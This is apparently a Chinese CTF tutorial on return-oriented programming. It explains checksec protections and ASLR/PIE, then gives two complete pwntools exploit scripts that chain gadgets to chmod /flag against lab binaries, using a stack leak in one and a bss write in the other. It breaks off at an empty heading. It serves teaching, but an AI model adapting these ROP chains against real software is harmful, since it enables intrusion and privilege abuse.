ROP 利用手法

2025-01-15

0. checksec起手

一般情况下,安装pwntools后,就会默认帮你安装checksec,这个命令非常好用,主要的功能是帮助你了解程序开启了哪些保护。

Arch: 
程序架构,这里告诉你是x86_64

RELRO(read only relocation): 
设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。

Stack: 
有无canary

NX: 
no-execute,即栈不可执行

PIE(position independent executable): 
位置无关代码

SHSTK: 前提条件,开启CET(CONTROL-FLOW ENFORCEMENT TECHNOLOGY)
shadow stack,当shadow stack开启时,CALL指令会把返回地址同时压入数据栈和影子栈(shadow stack),RET指令会把返回地址同时从数据栈和影子栈取出,并比较。
如果从两个栈中取出的返回地址不匹配,那么就会触发控制保护异常(#CP)

IBT: 前提条件,开启CET(CONTROL-FLOW ENFORCEMENT TECHNOLOGY)
indirect branch tracker,应用于间接跳转(jmp/call指令),如果在间接跳转后的下一条指令不是ENDBR32或ENDBR64,就会触发#CP异常。
并不包括RIP相对跳转、远直接jmp跳转、call相对跳转等,这些都是跳转到固定地址,不存在被篡改的可能,因此IBT并不作用于这种情况

Stripped:是否去了符号 

总之,开始ctf之前,起手checksec是常规操作

1. ROP gadgets 搜索

工欲善其事,必先利其器
ROP中的gadget,人工搜索不现实,这里列出几个常见的好用的rop gadget搜索工具

1.1 ROPgadget

pwntools安装好后自带的gadget搜索工具
通常情况下,ROPgadget能满足绝大部分需求

2. ROP 防御绕过技巧

2.1 只开启ASLR(Address Space Layout Randomization)

ASLR和pie的关联和联系是:

pie是一种编译选项,即这个程序是否是位置无关的代码;
aslr是系统选项,对于开启了aslr的系统,在加载程序时,会尝试把程序装载到随机的基地址上

如果:
1、关闭aslr
  程序无论是否有pie,装载基地址不变

2、开启aslr,且值为1
  程序没有pie,程序本身装载基地址不变;除heap外的其他部分(如libc、stack等等)会装载在随机地址
  程序有pie,程序本身装载基地址也会变化

3、开启aslr,且值为2
  程序没有pie,程序本身装载基地址不变;其他部分(如libc、stack、heap等等)会装载在随机地址
  程序有pie,程序本身装载基地址也会变化

2.1.1 泄露stack地址完成绕过

如果你知道stack的地址的话,我们可以引用 写在栈空间上的数据,完成利用

from pwn import *
context.log_level = 'debug'

p = process("./babyrop_level4.0")
p.recvuntil(b"[LEAK] Your input buffer is located at: 0x")
stack_addr= int(p.recv(12),16)
print("buffer_addr:",hex(stack_addr))

syscall = 0x0000000000402641
pop_rdi_ret = 0x0000000000402669
pop_rsi_ret = 0x0000000000402671
pop_rdx_ret = 0x000000000040264a
pop_rcx_ret = 0x0000000000402662
pop_rax_ret = 0x0000000000402651
payload = b"/flag\x00".ljust(0x50+8,b"a")+ p64(pop_rdi_ret)+p64(stack_addr)+p64(pop_rsi_ret)+p64(511)+p64(pop_rax_ret)+p64(90)+p64(syscall)
#print(shellcraft.sh())
p.send(payload)
p.interactive()

2.1.2 no-pie写bss段

如果系统开启了aslr,但是程序是no-pie的,这意味着程序段的地址是固定的,我们可以先在bss段中写入我们想要使用的字符串,比如”/flag”,然后进行二次利用:
核心思路:bss段的值默认为0;且代码中能够找到pop rcx; retpop rax; retadd byte ptr [rcx], al ; pop rbp ; ret三个gadgets,这样即可直接写入字符串

from pwn import *
context.log_level = 'debug'

p = process("./babyrop_level5.0")
gdb.attach(p)
pause()

syscall = 0x000000000040270f
pop_rdi_ret = 0x00000000004026df
pop_rsi_ret = 0x00000000004026ff
pop_rdx_ret = 0x00000000004026f0
pop_rcx_ret = 0x0000000000402708
pop_rax_ret = 0x00000000004026e8
# 0x000000000040127b : add byte ptr [rcx], al ; pop rbp ; ret
add_byteptrrcx_al_pop_rbp_ret = 0x000000000040127b

bss_addr = 0x405200
key_string = b"/flag\x00"
payload = b"a".ljust(0x60+8,b"a")
for i in range(len(key_string)):
    payload += p64(pop_rcx_ret)+p64(bss_addr+i)+p64(pop_rax_ret)+p64(key_string[i])+p64(add_byteptrrcx_al_pop_rbp_ret)+p64(0)
payload +=  p64(pop_rdi_ret)+p64(bss_addr)+p64(pop_rsi_ret)+p64(511)+p64(pop_rax_ret)+p64(90)+p64(syscall)
#print(shellcraft.sh())
p.send(payload)
p.interactive()

2.1.3